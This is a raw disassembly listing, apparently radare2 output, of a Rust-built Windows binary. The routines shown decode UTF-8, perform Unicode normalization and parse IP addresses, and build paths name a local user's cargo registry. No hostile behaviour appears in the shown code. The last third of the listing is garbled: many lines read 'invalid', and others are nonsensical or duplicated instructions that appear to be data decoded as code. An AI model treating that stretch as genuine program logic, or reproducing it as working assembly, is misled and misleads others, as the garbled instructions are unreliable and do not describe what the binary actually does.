cmp r10d, 0xd
ja 0x1400393d8
mov r11d, 0x2401
bt r11d, r10d
jb 0x1400396f4
cmp r8d, 0x115af
je 0x1400396f4
cmp r8d, 0x11930
je 0x1400396f4
jmp case.0x14003946c.3908
cmp r8d, 0xcc1
jg 0x140039524
cmp r8d, 0xbd7
je 0x1400396f4
cmp r8d, 0xc56
je 0x1400396f4
jmp case.0x14003946c.3908
lea r10d, [r8 - 0xdca]
cmp r10d, 0x15
ja 0x140039440
mov r11d, 0x200021
bt r11d, r10d
jb 0x1400396f4
cmp r8d, 0xd57
je 0x1400396f4
lea r10d, [r8 - 0xf43]
cmp r10d, 0x76
ja case.0x14003946c.3908
lea r11, [0x140193258]
movsxd r10, dword [r11 + r10*4]
add r10, r11
jmp r10
cmp r8d, 0x93c
je 0x1400396f4
cmp r8d, 0x9be
je 0x1400396f4
cmp r8d, 0x9d7
je 0x1400396f4
jmp case.0x14003946c.3908
cmp r8d, 0x11127
je 0x1400396f4
cmp r8d, 0x1133e
je 0x1400396f4
cmp r8d, 0x11357
je 0x1400396f4
jmp case.0x14003946c.3908
cmp r8d, 0xfa0f
jle 0x140039540
cmp r8d, 0x110ba
je 0x1400396f4
lea r10d, [r8 - 0xfa10]
cmp r10d, 0x12
ja 0x1400394fa
mov r11d, 0x50005
bt r11d, r10d
jb case.0x14003946c.3907
lea r10d, [r8 - 0xfb1d]
cmp r10d, 0x21
ja case.0x14003946c.3908
movabs r11, 0x200000005
bt r11, r10
jb case.0x14003946c.3907
jmp case.0x14003946c.3908
cmp r8d, 0xcc2
je 0x1400396f4
cmp r8d, 0xd3e
je 0x1400396f4
jmp case.0x14003946c.3908
cmp r8d, 0x2125
jg 0x140039579
lea r10d, [r8 - 0x1f71]
cmp r10d, 0x8c
ja case.0x14003946c.3908
lea r11, [0x140193434]
movsxd r10, dword [r11 + r10*4]
add r10, r11
jmp r10
cmp r8d, 0xbbe
je 0x1400396f4
jmp case.0x14003946c.3908
lea r10d, [r8 - 0x2329]
cmp r10d, 2
jb case.0x14003946c.3907
cmp r8d, 0x2126
je case.0x14003946c.3907
cmp r8d, 0x2adc
je case.0x14003946c.3907
movd xmm1, r8d
pshufd xmm0, xmm1, 0
movdqa xmm2, xmm0
paddd xmm2, xmmword [0x14012f990]
movdqa xmm3, xmm0
paddd xmm3, xmmword [0x14012f9a0]
pxor xmm3, xmm13
pcmpgtd xmm3, xmm15
pxor xmm2, xmm13
pcmpgtd xmm2, xmm7
packssdw xmm2, xmm3
packsswb xmm2, xmm2
pmovmskb r10d, xmm2
xor r10b, 0xff
jne case.0x14003946c.3907
pshufd xmm1, xmm1, 0x50
pand xmm1, xmmword [0x14012f980]
pshufd xmm2, xmm1, 0
pcmpeqd xmm2, xmmword [0x14012f9b0]
movdqa xmm3, xmm0
paddd xmm3, xmm12
pxor xmm3, xmm13
movdqa xmm4, xmm14
pcmpgtd xmm4, xmm3
por xmm4, xmm2
movmskps r10d, xmm4
test r10b, r10b
jne case.0x14003946c.3907
lea r10d, [r8 - 0x1d1bb]
cmp r10d, 6
jb case.0x14003946c.3907
lea r10d, [r8 - 0x2f800]
cmp r10d, 0x21e
jb case.0x14003946c.3907
pshufd xmm2, xmm1, 0x50
pcmpeqd xmm2, xmmword [0x14012f9c0]
movmskpd r10d, xmm2
mov r11d, r10d
shr r11b, 1
jne case.0x14003946c.3907
test r10b, 1
jne case.0x14003946c.3907
movd r10d, xmm1
cmp r10d, 0xfb40
je case.0x14003946c.3907
movdqa xmm1, xmm0
paddd xmm1, xmm8
paddd xmm0, xmm9
pxor xmm0, xmm13
pcmpgtd xmm0, xmm10
pxor xmm1, xmm13
pcmpgtd xmm1, xmm11
packssdw xmm0, xmm1
packsswb xmm0, xmm0
pmovmskb r11d, xmm0
xor r11b, 0xff
jne 0x1400396f4
lea r11d, [r8 - 0x11a8]
cmp r11d, 0x1b
jb 0x1400396f4
cmp r10d, 0x330
je 0x1400396f4
add r8d, 0xffffcf67
cmp r8d, 2
movzx r9d, cl
mov ecx, 2
cmovb r9d, ecx
mov ecx, r9d
cmp rax, rbx
jne 0x1400390aa
jmp 0x140039705
mov r9d, ecx
test r9b, r9b
je 0x140039a53
movzx eax, r9b
cmp eax, 1
je case.0x14003946c.3907
lea rcx, [rsp + 0x80]
movups xmmword [rcx], xmm6
mov byte [rcx + 0x10], 0
lea rax, [rsp + 0xe2]
movups xmmword [rax], xmm6
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x48], 0
mov word [rsp + 0x4c], 0
mov byte [rsp + 0x50], 0
mov dword [rsp + 0x54], 0
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x5c], 0
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x64], 0
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x6c], 0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
mov dword [rsp + 0x98], 0
mov word [rsp + 0x9c], 0
movzx eax, word [rsp + 0xf0]
mov word [rcx + 0x2e], ax
movdqu xmm0, xmmword [rsp + 0xe0]
movdqu xmmword [rcx + 0x1e], xmm0
mov dword [rsp + 0xb8], 0x110000
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x120], rdi
mov rsi, rdi
nop dword [rax + rax]
cmp rsi, rbx
je 0x1400399dc
movzx edx, byte [rsi]
movzx edi, dl
test dil, dil
js 0x140039800
inc rsi
jmp 0x140039870
mov eax, edi
and eax, 0x1f
movzx r8d, byte [rsi + 1]
and r8d, 0x3f
cmp dil, 0xdf
jbe 0x14003984d
movzx ecx, byte [rsi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x14003985b
movzx edi, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edi, 0x3f
or edi, ecx
or edi, eax
cmp edi, 0x110000
je 0x1400399dc
add rsi, 4
jmp 0x140039870
add rsi, 2
shl eax, 6
or eax, r8d
mov edi, eax
jmp 0x140039870
add rsi, 3
shl eax, 0xc
or ecx, eax
mov edi, ecx
nop word cs:[rax + rax]
lea rcx, [rsp + 0x38]
call fcn.14003d230
xor ebp, ebp
cmp eax, 0x110000
je 0x1400399ef
cmp eax, edi
je 0x1400397e0
jmp 0x1400399ef
mov rdx, rsi
call fcn.14012aee0
mov rcx, qword [rsp + 0x2e8]
jmp 0x140038c98
mov r9, r15
mov qword [r9], rsi
mov dword [r9 + 8], r8d
mov rcx, qword [rsp + 0x2e8]
add rax, 0x10
add r11, 0xfffffffffffffff0
cmp rax, rdx
je 0x140038c79
mov rsi, qword [rax]
cmp rsi, qword [rax - 0x10]
jae 0x1400398bb
mov r8d, dword [rax + 8]
xor r10d, r10d
nop dword [rax]
movdqu xmm0, xmmword [rax + r10 - 0x10]
movdqu xmmword [rax + r10], xmm0
cmp r11, r10
je 0x1400398a9
lea r9, [r10 - 0x10]
cmp rsi, qword [rax + r10 - 0x20]
mov r10, r9
jb 0x1400398e0
add r9, rax
jmp 0x1400398ac
mov rbx, r14
xor r13d, r13d
jmp 0x14003899a
mov rbx, rbp
jne 0x14003a28a
sub rbp, rbx
add rbx, r14
cmp r13, 8
jae 0x140038620
cmp byte [r14 + r13 - 1], 0
js 0x140038633
mov rax, r13
dec rax
je 0x14003899a
cmp byte [r14 + r13 - 2], 0
js 0x140038633
mov rax, r13
add rax, 0xfffffffffffffffe
je 0x14003899a
cmp byte [r14 + r13 - 3], 0
js 0x140038633
mov rax, r13
add rax, 0xfffffffffffffffd
je 0x14003899a
cmp byte [r14 + r13 - 4], 0
js 0x140038633
mov rax, r13
add rax, 0xfffffffffffffffc
je 0x14003899a
cmp byte [r14 + r13 - 5], 0
js 0x140038633
mov rax, r13
add rax, 0xfffffffffffffffb
je 0x14003899a
cmp byte [r14 + r13 - 6], 0
js 0x140038633
mov rax, r13
add rax, 0xfffffffffffffffa
je 0x14003899a
cmp byte [r14 + r13 - 7], 0
js 0x140038633
mov rax, r13
add rax, 0xfffffffffffffff9
je 0x14003899a
jmp 0x140038633
lea rcx, [rsp + 0x38]
call fcn.14003d230
cmp eax, 0x110000
sete bpl
cmp dword [rsp + 0x48], 0
je 0x140039a12
cmp qword [rsp + 0x50], 0
je 0x140039a12
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsp + 0x98], 0
mov rdi, qword [rsp + 0x120]
je 0x140039a46
cmp qword [rsp + 0xa0], 0
je 0x140039a46
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, bpl
mov rbp, qword [rsp + 0x128]
je case.0x14003946c.3907
sub r13, rbp
mov rcx, rdi
mov rdx, r13
mov r8, qword [rsp + 0x190]
lea r9, [rsp + 0xf8]
call fcn.14003a520
xor esi, esi
jmp 0x140038660
mov byte [rsp + 0xfd], 1
xor esi, esi
jmp 0x140038660
lea rax, [r14 + 7]
and rax, 0xfffffffffffffff8
sub rax, r14
mov ecx, 8
cmove rax, rcx
lea rcx, [r13 - 8]
cmp rax, rcx
jae 0x140039ac1
movabs rdx, 0x8080808080808080
test qword [r14 + rax], rdx
jne 0x140038633
add rax, 8
cmp rax, rcx
jb 0x140039aa4
movabs rax, 0x8080808080808080
test qword [r14 + rcx], rax
jne 0x140038633
jmp 0x14003899a
mov rcx, r15
call fcn.14003e110
jmp 0x140038c71
jmp 0x140039af0
mov rax, qword [rsp + 0x2e8]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov r8, qword [rsp + 0x1a0]
test r8, r8
je 0x140039b31
cmp rdx, r8
jbe 0x140039b2f
cmp byte [rcx + r8], 0xbf
jg 0x140039b31
lea rax, [0x1401486f0]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140122bb0
jne 0x140039b1b
sub rdx, r8
add rcx, r8
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], rdx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x70], 1
mov word [rsp + 0x78], 1
test byte [rsp + 0x34], 1
je 0x14003a02d
lea rsi, [rsp + 0x38]
mov r15d, 0x260d9
mov r12d, 0x62f8
nop word cs:[rax + rax]
mov rcx, rsi
call fcn.14003a2d0
test rax, rax
je 0x14003a04d
mov rbx, rdx
test rdx, rdx
je 0x140039ba0
mov rdi, rax
movzx r8d, byte [rax]
movzx ecx, r8b
test cl, cl
js 0x140039bf0
lea rbp, [rdi + 1]
add rbx, rdi
call fcn.140110200
test al, al
jne 0x140039c90
jmp 0x140039e10
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp cl, 0xe0
jb 0x140039c4c
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140039c69
movzx ecx, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140039ba0
lea rbp, [rdi + 4]
add rbx, rdi
call fcn.140110200
test al, al
jne 0x140039c90
jmp 0x140039e10
lea rbp, [rdi + 2]
shl eax, 6
or eax, r9d
mov ecx, eax
add rbx, rdi
call fcn.140110200
test al, al
jne 0x140039c90
jmp 0x140039e10
lea rbp, [rdi + 3]
shl eax, 0xc
or edx, eax
mov ecx, edx
add rbx, rdi
call fcn.140110200
test al, al
je 0x140039e10
nop word cs:[rax + rax]
movzx eax, al
cmp eax, 0x11
je 0x140039e10
cmp eax, 9
je 0x140039ccd
jmp 0x14003a023
inc rbp
call fcn.140110200
cmp al, 0xe
ja 0x14003a023
movzx eax, al
bt r12d, eax
jae 0x14003a023
cmp rbp, rbx
je 0x140039d80
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
jns 0x140039cb0
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xe0
jb 0x140039d38
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140039d56
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140039d80
add rbp, 4
call fcn.140110200
cmp al, 0xe
jbe 0x140039cc0
jmp 0x14003a023
add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
call fcn.140110200
cmp al, 0xe
jbe 0x140039cc0
jmp 0x14003a023
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.140110200
cmp al, 0xe
jbe 0x140039cc0
jmp 0x14003a023
movzx eax, byte [rbx - 1]
movzx ebp, al
test bpl, bpl
js 0x140039da0
dec rbx
cmp rbx, rdi
jne 0x140039def
jmp 0x140039fea
movzx eax, byte [rbx - 2]
cmp al, 0xbf
jg 0x140039dc6
movzx ecx, byte [rbx - 3]
cmp cl, 0xbf
jg 0x140039dcf
movzx edx, byte [rbx - 4]
add rbx, 0xfffffffffffffffc
and edx, 7
shl edx, 6
and ecx, 0x3f
or ecx, edx
jmp 0x140039dd6
add rbx, 0xfffffffffffffffe
and eax, 0x1f
jmp 0x140039dde
add rbx, 0xfffffffffffffffd
and ecx, 0xf
shl ecx, 6
and eax, 0x3f
or eax, ecx
shl eax, 6
and ebp, 0x3f
or ebp, eax
cmp rbx, rdi
je 0x140039fea
cmp ebp, 0x110000
je 0x140039ba0
mov ecx, ebp
call fcn.140110200
cmp al, 0xd
je 0x140039d80
jmp 0x14003a005
cmp rbp, rbx
je 0x140039f17
xor r13d, r13d
xor r14d, r14d
jmp 0x140039e39
mov r13b, 1
nop word cs:[rax + rax]
cmp rbp, rbx
je 0x140039f20
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
js 0x140039e60
inc rbp
call fcn.140110200
cmp al, 0x11
jbe 0x140039ef0
jmp 0x14003a023
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xe0
jb 0x140039eb5
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140039ecf
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140039f20
add rbp, 4
call fcn.140110200
cmp al, 0x11
jbe 0x140039ef0
jmp 0x14003a023
add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
call fcn.140110200
cmp al, 0x11
jbe 0x140039ef0
jmp 0x14003a023
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.140110200
cmp al, 0x11
ja 0x14003a023
nop word [rax + rax]
movzx eax, al
bt r15d, eax
jb 0x140039e30
cmp eax, 1
je 0x140039e21
cmp eax, 5
jne 0x14003a023
mov r14b, 1
jmp 0x140039e30
xor r14d, r14d
xor r13d, r13d
nop dword [rax]
movzx eax, byte [rbx - 1]
movzx ebp, al
test bpl, bpl
js 0x140039f40
dec rbx
cmp rbx, rdi
jne 0x140039f8b
jmp 0x140039fb0
movzx eax, byte [rbx - 2]
cmp al, 0xbf
jg 0x140039f66
movzx ecx, byte [rbx - 3]
cmp cl, 0xbf
jg 0x140039f6f
movzx edx, byte [rbx - 4]
add rbx, 0xfffffffffffffffc
and edx, 7
shl edx, 6
and ecx, 0x3f
or ecx, edx
jmp 0x140039f76
add rbx, 0xfffffffffffffffe
and eax, 0x1f
jmp 0x140039f7e
add rbx, 0xfffffffffffffffd
and ecx, 0xf
shl ecx, 6
and eax, 0x3f
or eax, ecx
shl eax, 6
and ebp, 0x3f
or ebp, eax
cmp rbx, rdi
je 0x140039fb0
cmp ebp, 0x110000
je 0x14003a023
mov ecx, ebp
call fcn.140110200
cmp al, 0xd
je 0x140039f20
jmp 0x140039fc3
cmp ebp, 0x110000
je 0x14003a023
mov ecx, ebp
call fcn.140110200
cmp al, 0xd
je 0x14003a023
mov ecx, ebp
call fcn.140110200
cmp al, 0x11
ja 0x14003a023
movzx eax, al
mov ecx, 0x20023
bt ecx, eax
jae 0x14003a023
and r13b, r14b
test r13b, 1
je 0x140039ba0
jmp 0x14003a023
cmp ebp, 0x110000
je 0x140039ba0
mov ecx, ebp
call fcn.140110200
cmp al, 0xd
je 0x140039ba0
mov ecx, ebp
call fcn.140110200
cmp al, 9
je 0x140039ba0
mov ecx, ebp
call fcn.140110200
cmp al, 5
je 0x140039ba0
mov byte [rsp + 0xfa], 1
jmp 0x14003a04d
lea rsi, [rsp + 0x38]
nop word cs:[rax + rax]
mov rcx, rsi
call fcn.14003a2d0
test rax, rax
jne 0x14003a040
mov eax, dword [rsp + 0x100]
mov rcx, qword [rsp + 0x198]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0xf8]
mov qword [rcx], rax
cmp qword [rsp + 0x108], 0
je 0x14003a08c
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x1d0]
movaps xmm7, xmmword [rsp + 0x1e0]
movaps xmm8, xmmword [rsp + 0x1f0]
movaps xmm9, xmmword [rsp + 0x200]
movaps xmm10, xmmword [rsp + 0x210]
movaps xmm11, xmmword [rsp + 0x220]
movaps xmm12, xmmword [rsp + 0x230]
movaps xmm13, xmmword [rsp + 0x240]
movaps xmm14, xmmword [rsp + 0x250]
movaps xmm15, xmmword [rsp + 0x260]
add rsp, 0x278
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x140148690]
mov edx, 0x75a
mov rcx, rax
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srcdecompose.rs
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srcdecompose.rs
mov rcx, rax
call fcn.140122580
lea r8, [0x1401486a8]
mov edx, 0x1f73
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.1401225f0
lea r8, [0x1401486c0]
mov edx, 0x1f73
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srcdecompose.rs
mov rdx, rax
call fcn.140122580
lea rax, [0x140148678]
mov qword [rsp + 0x20], rax
lea rcx, [0x140153fbc]
mov edx, 0x321c
call fcn.140122bb0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
mov rcx, rax
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srcdecompose.rs
mov rdx, rax
call fcn.140122510
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
mov rcx, rax
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbx
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0xd4e
call fcn.140122510
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbx
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0x1667
call fcn.140122510
mov ecx, 4
mov rdx, r15
call fcn.140122170
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
mov rcx, rbx
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
call fcn.1401225f0
lea rcx, [0x140157280]
call fcn.140122800
lea r8, str.core_src_slicememchr.rs
mov rdx, r13
call fcn.140122510
lea r8, str.core_src_slicememchr.rs
mov rcx, rax
mov rdx, r13
call fcn.1401225f0
ud2
lea rcx, [0x140157238]
call fcn.140122800
lea rax, [0x140148708]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r13
mov r8, rbp
mov r9, r13
call fcn.140122bb0
lea rax, [0x140157268]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbp
mov r9, rbp
call fcn.140122bb0
lea rax, [0x140157250]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbp
xor r8d, r8d
mov r9, r13
call fcn.140122bb0
int3
mov qword [rcx + 0x10], r9
xor ecx, ecx
movzx ecx, cl
shl rax, 8
or rax, rcx
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add al, byte [rax]
add byte [rbx + 0xf], al
mov dh, 0x34
adc ecx, dword [rbp - 0x7fbf2f82]
dec dword [rcx]
ja 0x14003e94d
lea r10, [r9 + 3]
lea r8d, [r8 + r8*4]
add byte [rax + 0xf], 0xb6
test dword [rsi - 0x73], 0x81414604
clc
add byte [rcx], al
add byte [rax], al
add byte [rax + 0xf], 0xb6
test dword [rsi - 0x73], 0x81414604
clc
add byte [rcx], al
add byte [rax], al
setae bl
cmp r10, rdx
sete sil
or sil, bl
jne 0x14003e894
cmp r10, rdx
jae 0x14003ebe9
movzx esi, byte [r11 + r10]
lea edi, [rsi - 0x30]
cmp dil, 0xa
jb 0x14003e894
cmp al, 9
ja 0x14003e894
cmp sil, 0x2e
jne 0x14003e894
lea rax, [r10 + 1]
cmp rax, rdx
je 0x14003e894
movzx eax, byte [r11 + rax]
add al, 0xd0
cmp al, 9
ja 0x14003e894
lea rdi, [r10 + 2]
cmp rdi, rdx
je 0x14003e894
movzx eax, al
movzx esi, byte [r11 + rdi]
lea ebx, [rsi - 0x30]
cmp bl, 9
ja 0x14003e9ff
lea eax, [rax + rax*4]
movzx esi, bl
lea eax, [rsi + rax*2]
cmp eax, 0xff
ja 0x14003e894
lea rdi, [r10 + 3]
cmp rdi, rdx
je 0x14003e894
movzx esi, byte [r11 + rdi]
lea ebx, [rsi - 0x30]
cmp bl, 9
ja 0x14003eac3
lea eax, [rax + rax*4]
movzx esi, bl
lea eax, [rsi + rax*2]
cmp eax, 0xff
ja 0x14003e894
add r10, 4
cmp r10, rdx
je 0x14003e894
movzx esi, byte [r11 + r10]
lea edi, [rsi - 0x30]
cmp dil, 0xa
or cl, byte [rdi]
invalid
xchg edi, eax
invalid
invalid
invalid
or cl, byte [rdi]
invalid
jmp 0x14003ea02
mov r10, rdi
cmp r10, rdx
jae 0x14003eacf
cmp sil, 0x2e
jne 0x14003e894
lea rsi, [r10 + 1]
cmp rsi, rdx
invalid
je 0x14003e894
invalid
movzx esi, byte [r11 + rsi]
add sil, 0xd0
cmp sil, 9
or dword [rdi], ecx
xchg dword [rdi - 2], ebx
pop rdi
invalid
invalid
invalid
or dword [rdi], ecx
xchg dword [rdi - 2], ebx
pop rdi
invalid
invalid
pop rdi
invalid
lea rbx, [r10 + 2]
cmp rbx, rdx
je 0x14003e894
invalid
invalid
invalid
movzx esi, sil
movzx esi, dh
movzx edi, byte [r11 + rbx]
movzx edi, byte [rbx + rbx]
cmp al, 0x1b
lea ebp, [rdi - 0x30]
cmp bpl, 9
cmp ch, 9
outsd dx, dword [rsi]
rol byte [rax - 0x80], 1
cmp ch, 9
ja 0x14003eade
lea esi, [rsi + rsi*4]
cmp ch, 9
ja 0x14003eade
add byte [rax], al
add byte [rbp + 0xf40b634], cl
mov dh, 0xfd
lea esi, [rsi + rsi*4]
movzx edi, bpl
lea esi, [rdi + rsi*2]
cmp esi, 0xff
ja 0x14003e894
lea rbx, [r10 + 3]
cmp rbx, rdx
je 0x14003e894
movzx edi, byte [r11 + rbx]
lea ebp, [rdi - 0x30]
cmp bpl, 9
ja 0x14003ebc6
lea esi, [rsi + rsi*4]
movzx edi, bpl
lea esi, [rdi + rsi*2]
cmp esi, 0xff
ja 0x14003e894
add r10, 4
cmp r10, rdx
je 0x14003e894
movzx edi, byte [r11 + r10]
lea ebx, [rdi - 0x30]
cmp bl, 0xa
jb 0x14003e894
jmp 0x14003eae1
mov r10, rdi
cmp r10, rdx
jb 0x14003ea0b
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
mov rcx, r10
call fcn.140122580
mov r10, rbx
cmp r10, rdx
jae 0x14003eacf
cmp dil, 0x2e
jne 0x14003e894
lea rbx, [r10 + 1]
xor edi, edi
cmp rbx, rdx
jne 0x14003eb26
mov r10d, edx
sub r10d, ebx
cmove rdx, rbx
mov qword [rcx + 0x10], rdx
je 0x14003e894
shl edi, 0x18
shl esi, 0x10
shl eax, 8
or eax, edi
or eax, esi
or eax, r8d
mov cl, 1
jmp 0x14003e89a
movzx edi, byte [r11 + rbx]
add dil, 0xd0
cmp dil, 0xa
jae 0x14003ebd7
lea r14, [r10 + 2]
movzx edi, dil
cmp r14, rdx
je 0x14003eafb
movzx ebp, byte [r11 + r14]
add bpl, 0xd0
cmp bpl, 9
ja 0x14003ebe0
lea edi, [rdi + rdi*4]
movzx r14d, bpl
lea edi, [r14 + rdi*2]
cmp edi, 0xff
add byte [rax], al
add byte [rax], al
ja 0x14003e894
lea r14, [r10 + 3]
cmp r14, rdx
je 0x14003eafb
movzx ebp, byte [r11 + r14]
add bpl, 0xd0
cmp bpl, 9
ja 0x14003ebe0
lea edi, [rdi + rdi*4]
movzx r14d, bpl
lea edi, [r14 + rdi*2]
cmp edi, 0xff
ja 0x14003e894
add r10, 4
cmp r10, rdx
je 0x14003eafb
movzx edx, byte [r11 + r10]
add dl, 0xd0
cmp dl, 0xa
jb 0x14003e894
mov qword [rcx + 0x10], r10
jmp 0x14003eb0f
mov r10, rbx
cmp r10, rdx
jb 0x14003eae6
jmp 0x14003eacf
mov qword [rcx + 0x10], rbx
jmp 0x14003e894
mov qword [rcx + 0x10], r14
jmp 0x14003eb0f
cmp r9, rdx
cmovbe r9, rdx
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
mov rcx, r9
call fcn.140122580
add ah, cl
add ah, cl
push rsp
je 0x14003ec4a
and byte [rax - 0x73], cl
push rsp
and al, 0x20
lea edx, [rsp + 0x20]
add byte [rax], al
add byte [rax - 0x77], cl
stc
xchg esi, eax
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or byte [rdi], cl
test dword [rax + 0x66000000], eax
movdqa xmm0, xmmword [rsp + 0x20]
movq mm1, mm0
jo 0x14003ec24
mov cl, 0x66
punpcklbw mm0, mm6
cmovno eax, dword [rax + 0xf2f093c]
test dword [rcx + rax - 0x72b40000], esi
add dword [r9], esi
ror byte [rcx + 0x39], 0xd0
add dword [rax], eax
add byte [rcx - 0x3ed6bb2f], cl
add dword [rcx + 0x39], ecx
ror dword [rdi], 1
test byte [rax + 1], cl
add byte [rax], al
and al, 0x40
cmp esp, edi
add byte [rdx - 0x73], cl
add al, 3
add byte [rcx], ch
fadd dword [rcx]
ror byte [rax - 0x73], 0xc
add al, 0x48
add ecx, 0x30
invalid
lea edx, [rcx + 2]
sbb al, 0x11
add bl, 0xd0
cmp bl, 9
or dword [rdi], ecx
xchg dword [rdx - 0x73000000], eax
invalid
add byte [rax], al
add byte [rax], al
lea eax, [rax + rax*4]
invalid
add byte [rax], al
add byte [rbp + 0xf458004], cl
add byte [rbp + 0xf], 0xb6
rol dword [rcx - 0x73], cl
add al, 0x42
mov dh, 0xd3
rol byte [rcx - 0x80], 1
sti
or dword [rdi + 0x54], esi
ror byte [rax + 0x74280f06], 0x24
push rax
pop rsp
adc cl, ch
invalid
leave
invalid
xchg byte [r9], dl
add byte [rdx + 8], bh
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
invalid
or eax, 0x118650
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rbx, r8
mov rdi, rdx
mov r14, rcx
lea r12, [r8 - 1]
mov r15, qword [rcx + 0x10]
xor esi, esi
movabs r13, 0x3f0000003f
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
nop dword [rax]
cmp rsi, r12
jae 0x14003ef50
test rsi, rsi
je 0x14003ef86
mov rdx, qword [r14 + 8]
cmp r15, rdx
je 0x14003ef3b
jae 0x14003f1f9
mov rax, qword [r14]
cmp byte [rax + r15], 0x3a
jne 0x14003ef3b
lea rax, [r15 + 1]
mov qword [r14 + 0x10], rax
mov rcx, r14
call fcn.14003e860
test al, 1
jne 0x14003f1ad
mov rdx, qword [r14 + 8]
jmp 0x14003ef59
mov rdx, qword [r14 + 8]
test rsi, rsi
je 0x14003ef9a
invalid
cmp r15, rdx
cmp r15, rdx
je 0x14003f194
jae 0x14003f1f9
mov r8, qword [r14]
cmp byte [r8 + r15], 0x3a
cmp byte [rdx], bh
cmp byte [rdx], bh
jne 0x14003f194
